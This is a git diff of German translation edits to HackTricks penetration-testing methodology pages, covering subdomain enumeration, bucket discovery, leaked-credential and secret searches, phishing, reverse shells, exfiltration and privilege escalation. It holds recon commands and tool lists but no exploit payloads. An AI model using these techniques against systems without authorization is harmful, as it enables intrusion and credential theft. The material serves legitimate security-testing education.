@@ -407,19 +404,19 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### Intelligente Permutationserzeugung
-* [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber es wird im Wesentlichen die **Hauptteile** der **entdeckten Subdomains** erhalten und sie mischen, um mehr Subdomains zu finden.
+* [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber im Wesentlichen werden die **Hauptteile** der **entdeckten Subdomains** extrahiert und gemischt, um mehr Subdomains zu finden.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie z.B. eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
+* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-geführten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Einträge, um genauere entsprechende Domänennamen zu synthetisieren und sie basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
```
echo www | subzuf facebook.com
```
### **Subdomain Discovery Workflow**
-Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **automatische Entdeckung von Subdomains** von einer Domain mithilfe von **Trickest-Workflows** durchführen können, sodass ich nicht manuell eine Vielzahl von Tools auf meinem Computer starten muss:
+Überprüfen Sie diesen Blog-Beitrag, den ich darüber geschrieben habe, wie Sie die **Subdomain-Entdeckung automatisieren** können, indem Sie **Trickest-Workflows** verwenden, damit ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -431,7 +428,7 @@ Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von
#### OSINT
-Sie können einige **VHosts in IPs mit** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder anderen APIs finden**.
+Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder andere APIs verwenden**.
**Brute Force**
@@ -459,10 +456,10 @@ Manchmal finden Sie Seiten, die nur den Header _**Access-Control-Allow-Origin**_
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
-### **Eimer-Brute-Force**
+### **Eimer Brute Force**
-Beim Suchen nach **Subdomains** achten Sie darauf, ob diese auf einen **Eimer** verweisen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Außerdem, da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Eimernamen zu brute-forcen und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/).
+Beim Suchen nach **Subdomains** achten Sie darauf, ob diese auf einen **Bucket** verweisen, und in diesem Fall [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
+Da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Bucket-Namen per Brute Force zu ermitteln und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/).
### **Überwachung**
@@ -471,14 +468,14 @@ Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden
### **Suche nach Schwachstellen**
Überprüfen Sie mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Wenn die **Subdomain** auf einen **S3-Eimer** verweist, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
+Wenn die **Subdomain** auf einen **S3-Bucket** verweist, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
-Wenn Sie eine **Subdomain mit einer anderen IP** als denjenigen gefunden haben, die Sie bereits bei der Assets-Entdeckung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\
+Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits gefundenen Assets finden, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nach den ausgeführten Diensten finden Sie in **diesem Buch einige Tricks, um sie "anzugreifen"**.\
_Beachten Sie, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._
## IPs
-In den ersten Schritten haben Sie möglicherweise **einige IP-Bereiche, Domains und Subdomains gefunden**.\
+In den ersten Schritten haben Sie möglicherweise **IP-Bereiche, Domains und Subdomains gefunden**.\
Es ist an der Zeit, **alle IPs aus diesen Bereichen zu sammeln** und für die **Domains/Subdomains (DNS-Abfragen)**.
Mit Diensten der folgenden **kostenlosen APIs** können Sie auch **frühere IPs finden, die von Domains und Subdomains verwendet wurden**. Diese IPs könnten immer noch im Besitz des Kunden sein (und könnten es Ihnen ermöglichen, [**CloudFlare-Bypasses zu finden**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
@@ -497,47 +494,47 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse verweise
> Wir haben alle Unternehmen und ihre Assets gefunden und kennen die IP-Bereiche, Domains und Subdomains im Scope. Es ist Zeit, nach Webservern zu suchen.
-In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der entdeckten IPs und Domains** durchgeführt, sodass Sie möglicherweise **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zum Suchen von Webservern** im Scope sehen.
+In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der entdeckten IPs und Domains** durchgeführt, sodass Sie möglicherweise **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Scope sehen.
Bitte beachten Sie, dass dies auf die **Entdeckung von Webanwendungen ausgerichtet sein wird**, daher sollten Sie auch die **Schwachstellen** und **Port-Scans** durchführen (**falls im Scope erlaubt**).
-Eine **schnelle Methode** zum Entdecken von **offenen Ports** im Zusammenhang mit **Web**-Servern mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\
-Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Darüber hinaus können Sie angeben, auch andere Ports zu versuchen:
+Eine **schnelle Methode** zur Entdeckung von **offenen Ports** im Zusammenhang mit **Webservern** mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\
+Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Darüber hinaus können Sie angeben, auch andere Ports zu versuchen:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Screenshots**
-Nachdem du **alle Webserver** im Umfang entdeckt hast (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**), weißt du wahrscheinlich **nicht, wo du anfangen sollst**. Also lass es uns einfach machen und fange damit an, Screenshots von allen zu machen. Schon durch einen Blick auf die **Hauptseite** kannst du **seltsame** Endpunkte finden, die anfälliger für **Schwachstellen** sind.
+Nachdem Sie **alle Webserver** im Umfang entdeckt haben (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**), wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Also, machen wir es einfach und fangen einfach an, Screenshots von allen zu machen. Schon durch einen Blick auf die **Hauptseite** können Sie **seltsame** Endpunkte finden, die anfälliger für **Schwachstellen** sind.
-Um die vorgeschlagene Idee umzusetzen, kannst du [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** verwenden.
+Um die vorgeschlagene Idee umzusetzen, können Sie [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** verwenden.
-Darüber hinaus könntest du dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und dir zu sagen, **was wahrscheinlich Schwachstellen enthält** und was nicht.
+Darüber hinaus könnten Sie dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und Ihnen mitzuteilen, **was wahrscheinlich Schwachstellen enthält** und was nicht.
## Öffentliche Cloud-Ressourcen
-Um potenzielle Cloud-Ressourcen eines Unternehmens zu finden, solltest du mit einer Liste von Schlüsselwörtern beginnen, die dieses Unternehmen identifizieren. Zum Beispiel könntest du für ein Krypto-Unternehmen Wörter wie: `"crypto", "wallet", "dao", "", <"subdomain_names">` verwenden.
+Um potenzielle Cloud-Ressourcen eines Unternehmens zu finden, sollten Sie mit einer Liste von Schlüsselwörtern beginnen, die dieses Unternehmen identifizieren. Zum Beispiel könnten Sie für ein Krypto-Unternehmen Wörter wie: `"crypto", "wallet", "dao", "", <"subdomain_names">` verwenden.
-Du benötigst auch Wortlisten von **üblichen Wörtern, die in Buckets verwendet werden**:
+Sie benötigen auch Wortlisten von **üblichen Wörtern, die in Buckets verwendet werden**:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
-Dann solltest du mit diesen Wörtern **Permutationen generieren** (siehe die [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) für weitere Informationen).
+Dann sollten Sie mit diesen Wörtern **Permutationen generieren** (überprüfen Sie die [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) für weitere Informationen).
-Mit den resultierenden Wortlisten könntest du Tools wie [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **oder** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** verwenden.
+Mit den resultierenden Wortlisten könnten Sie Tools wie [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **oder** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** verwenden.
-Denke daran, dass du bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS** suchen solltest.
+Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS** suchen sollten.
### **Suche nach Schwachstellen**
-Wenn du Dinge wie **offene Buckets oder freigegebene Cloud-Funktionen** findest, solltest du **auf sie zugreifen** und versuchen zu sehen, was sie dir bieten und ob du sie missbrauchen kannst.
+Wenn Sie auf Dinge wie **offene Buckets oder freigegebene Cloud-Funktionen** stoßen, sollten Sie **darauf zugreifen** und versuchen zu sehen, was sie Ihnen bieten und ob Sie sie missbrauchen können.
## E-Mails
-Mit den **Domains** und **Subdomains** im Umfang hast du im Grunde alles, was du brauchst, um nach E-Mails zu suchen. Dies sind die **APIs** und **Tools**, die für mich am besten funktioniert haben, um E-Mails eines Unternehmens zu finden:
+Mit den **Domains** und **Subdomains** im Umfang haben Sie im Grunde alles, was Sie brauchen, um nach E-Mails zu suchen. Dies sind die **APIs** und **Tools**, die für mich am besten funktioniert haben, um E-Mails eines Unternehmens zu finden:
* [**theHarvester**](https://github.com/laramies/theHarvester) - mit APIs
* API von [**https://hunter.io/**](https://hunter.io/) (kostenlose Version)
@@ -546,18 +543,18 @@ Mit den **Domains** und **Subdomains** im Umfang hast du im Grunde alles, was du
### **Suche nach Schwachstellen**
-E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste per Brute-Force anzugreifen** (wie z. B. SSH). Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben dir diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist.
+E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste per Brute-Force anzugreifen** (wie z. B. SSH). Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben Ihnen diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist.
## Zugangsdaten-Leaks
-Mit den **Domains**, **Subdomains** und **E-Mails** kannst du damit beginnen, nach in der Vergangenheit geleakten Zugangsdaten zu suchen, die diesen E-Mails gehören:
+Mit den **Domains**, **Subdomains** und **E-Mails** können Sie damit beginnen, nach in der Vergangenheit geleakten Zugangsdaten zu suchen, die diesen E-Mails gehören:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Suche nach Schwachstellen**
-Wenn du **gültige geleakte** Zugangsdaten findest, ist dies ein sehr einfacher Gewinn.
+Wenn Sie **gültige geleakte** Zugangsdaten finden, ist dies ein sehr einfacher Gewinn.
## Geheimnis-Leaks
@@ -566,13 +563,13 @@ Zugangsdaten-Leaks stehen im Zusammenhang mit Hacks von Unternehmen, bei denen *
### Github-Leaks
Zugangsdaten und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer** geleakt werden, die für dieses Github-Unternehmen arbeiten.\
-Du kannst das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber laufen zu lassen.
+Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber laufen zu lassen.
**Leakos** kann auch verwendet werden, um **gitleaks** gegen alle **übergebenen URLs** auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**.
#### Github-Dorks
-Überprüfe auch diese **Seite** nach potenziellen **Github-Dorks**, nach denen du in der angegriffenen Organisation suchen könntest:
+Überprüfen Sie auch diese **Seite** nach potenziellen **Github-Dorks**, nach denen Sie in der angegriffenen Organisation suchen könnten:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@@ -580,37 +577,37 @@ Du kannst das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwe
### Pastes-Leaks
-Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter Unternehmensinhalte auf einer Paste-Seite. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
-Du kannst das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
+Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter Unternehmensinhalte auf einer Paste-Seite. Dies könnte sensible Informationen enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
+Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
### Google-Dorks
-Alte, aber bewährte Google-Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **Tausende** möglicher Abfragen enthält, die du nicht manuell ausführen kannst. Du könntest also deine Lieblings-10 auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**.
+Alte, aber bewährte Google-Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **Tausende** möglicher Abfragen enthält, die Sie nicht manuell ausführen können. Sie können also Ihre Lieblings-10 auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**.
-_Beachte, dass die Tools, die erwarten, die gesamte Datenbank mit dem regulären Google-Browser auszuführen, niemals enden werden, da Google dich sehr bald blockieren wird._
+_Beachten Sie, dass die Tools, die erwarten, die gesamte Datenbank mit dem regulären Google-Browser auszuführen, niemals enden werden, da Google Sie sehr bald blockieren wird._
### **Suche nach Schwachstellen**
-Wenn du **gültige geleakte** Zugangsdaten oder API-Token findest, ist dies ein sehr einfacher Gewinn.
+Wenn Sie **gültige geleakte** Zugangsdaten oder API-Token finden, ist dies ein sehr einfacher Gewinn.
## Öffentliche Code-Schwachstellen
-Wenn du feststellst, dass das Unternehmen **Open-Source-Code** hat, kannst du diesen **analysieren** und nach **Schwachstellen** suchen.
+Wenn Sie feststellen, dass das Unternehmen **Open-Source-Code** hat, können Sie diesen **analysieren** und nach **Schwachstellen** suchen.
-Je nach Sprache gibt es verschiedene **Tools**, die du verwenden kannst:
+Je nach Sprache gibt es verschiedene **Tools**, die Sie verwenden können:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
-Es gibt auch kostenlose Dienste, die es dir ermöglichen, **öffentliche Repositories zu scannen**, wie:
+Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repositories zu scannen**, wie:
* [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
Die **Mehrheit der Schwachstellen**, die von Bug Bounty Jägern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Webanwendungstestmethodik** sprechen, die Sie [**hier finden können**](../../network-services-pentesting/pentesting-web/).
-Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erhebung von anfänglichen Webinformationen zu implementieren**.
+Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erhebung von anfänglichen Webinformationen** zu implementieren.
## Zusammenfassung
@@ -623,14 +620,14 @@ Sie haben also bereits:
3. Alle **Domains**, die den Unternehmen gehören
4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
5. Alle **IPs** (von und **nicht von CDNs**) im Scope gefunden.
-6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das genauer betrachtet werden sollte?)
-7. Alle **potenziellen öffentlichen Cloud-Ressourcen**, die dem Unternehmen gehören.
+6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
+7. Alle **potenziellen öffentlichen Cloud-Assets** des Unternehmens gefunden.
8. **E-Mails**, **Zugangsdaten-Leaks** und **Geheimnis-Leaks**, die Ihnen einen **großen Gewinn sehr einfach** ermöglichen könnten.
9. **Pentesting aller von Ihnen gefundenen Websites**
## **Vollständige Recon-Automatisierungstools**
-Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope ausführen.
+Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope ausführen werden.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@@ -641,7 +638,7 @@ Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen b
* Alle kostenlosen Kurse von [**@Jhaddix**](https://twitter.com/Jhaddix) wie [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
-
+
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md
index 1c60c5f6e..1f123a095 100644
--- a/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/generic-methodologies-and-resources/pentesting-methodology.md
@@ -2,7 +2,7 @@
-Lernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
+Erlernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
@@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
-
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
@@ -41,11 +41,11 @@ Beachten Sie, dass bei einem externen Test, sobald Sie Zugriff auf das interne N
### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/) **(Intern)**
**Dieser Abschnitt gilt nur, wenn Sie einen internen Test durchführen.**\
-Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten sniffen**, um passiv/aktiv (MitM) zu lernen, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen.
+Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten** **mitschneiden**, um passiv/aktiv (MitM) herauszufinden, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen.
### 3- [Port-Scan - Service-Erkennung](pentesting-network/#scanning-hosts)
-Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) an.
+Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Host-Ports**](pentesting-network/#scanning-hosts) an.
### **4-** [Suche nach Service-Version-Exploits](search-exploits.md)
@@ -53,9 +53,9 @@ Sobald Sie wissen, welche Dienste ausgeführt werden, und vielleicht deren Versi
### **5-** Pentesting-Services
-Wenn es keinen ausgefallenen Exploit für einen laufenden Dienst gibt, sollten Sie nach **üblichen Fehlkonfigurationen in jedem laufenden Dienst suchen**.
+Wenn es keinen ausgefallenen Exploit für einen ausgeführten Dienst gibt, sollten Sie nach **allgemeinen Fehlkonfigurationen in jedem ausgeführten Dienst suchen**.
-**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so häufig sind)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet).
+**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so häufig vorkommen)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet).
**Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **Teil hinweisen (da er der umfangreichste ist).**\
Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachstellen in Software finden**](search-exploits.md).
@@ -64,7 +64,7 @@ Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachst
#### 5.1 Automatische Tools
-Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde Ihnen empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.**
+Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das Tool, das ich erstellt habe und das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.**
#### **5.2 Brute-Force von Diensten**
@@ -72,11 +72,11 @@ In einigen Szenarien könnte ein **Brute-Force** nützlich sein, um einen **Dien
### 6- [Phishing](phishing-methodology/)
-Wenn Sie bis zu diesem Zeitpunkt keine interessante Schwachstelle gefunden haben, **müssen Sie möglicherweise einige Phishing-Versuche unternehmen**, um ins Netzwerk einzudringen. Sie können meine Phishing-Methodik [hier](phishing-methodology/) lesen:
+Wenn Sie bis zu diesem Zeitpunkt keine interessante Schwachstelle gefunden haben, **müssen Sie möglicherweise einige Phishing-Versuche unternehmen**, um ins Netzwerk zu gelangen. Sie können meine Phishing-Methodik [hier](phishing-methodology/) lesen:
### **7-** [**Shell erhalten**](shells/)
-Irgendwie sollten Sie einen **Weg gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich](shells/).
+Irgendwie sollten Sie einen **Weg gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich.
Insbesondere bei Windows könnten Sie Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfen Sie diese Seite**](../windows-hardening/av-bypass.md)**.**\\
@@ -90,13 +90,13 @@ Wenn Sie Probleme mit der Shell haben, finden Sie hier eine kleine **Zusammenste
### **9 -** [**Exfiltration**](exfiltration.md)
-Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier haben Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.**
+Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier finden Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.**
### **10- Privilege Escalation**
-#### **10.1- Lokale Privilege-Eskalation**
+#### **10.1- Lokale Berechtigungserweiterung**
-Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu eskalieren.**\
-Hier finden Sie eine **Anleitung zur lokalen Privilege-Eskalation in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
+Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu erweitern.**\
+Hier finden Sie eine **Anleitung zur lokalen Berechtigungserweiterung in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprüfen:
* [**Authentifizierung, Anmeldeinformationen, Token-Berechtigungen und UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
@@ -104,11 +104,11 @@ Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprü
* Wie man Anmeldeinformationen in Windows [**stiehlt**](broken-reference/)
* Einige Tricks zu [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
